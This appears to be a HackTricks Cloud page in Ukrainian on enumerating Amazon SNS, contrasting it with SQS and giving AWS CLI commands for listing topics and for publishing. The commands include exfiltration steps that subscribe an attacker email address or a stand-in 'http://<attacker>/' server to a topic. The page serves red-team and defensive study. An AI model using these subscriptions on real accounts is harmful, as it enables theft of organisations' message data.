AWS - SNS Enum
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
SNS
Amazon Simple Notification Service (Amazon SNS) описується як повністю керована служба обміну повідомленнями. Вона підтримує як додаток-додатку (A2A), так і додаток-людина (A2P) типи комунікації.
Ключові особливості для A2A комунікації включають механізми публікації/підписки (pub/sub). Ці механізми вводять теми, які є критично важливими для забезпечення високої пропускної здатності, пуш-орієнтованого, багато до багатьох обміну повідомленнями. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи публікаторів можуть ефективно розподіляти повідомлення на широкий спектр систем підписників, сприяючи патерну обміну повідомленнями fanout.
Різниця з SQS
SQS є черговою службою, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень одиничним споживачем. Вона пропонує доставку принаймні один раз, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.
З іншого боку, SNS є службою на основі публікації/підписки, що дозволяє один до багатьох комунікацію, транслюючи повідомлення багатьом підписникам одночасно. Вона підтримує різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS, і надає механізми фільтрації для цільової доставки повідомлень.
Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на черговій комунікації, а SNS підкреслює подієво-орієнтовані, fan-out патерни комунікації.
Перерахування
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
caution
Зверніть увагу, що якщо тема є типу FIFO, можуть бути використані лише підписники, які використовують протокол SQS (HTTP або HTTPS не можуть бути використані).
Також, навіть якщо --topic-arn
містить регіон, переконайтеся, що ви вказали правильний регіон у --region
, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні.
Unauthenticated Access
AWS - SNS Unauthenticated Enum
Privilege Escalation
Post Exploitation
Persistence
References
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.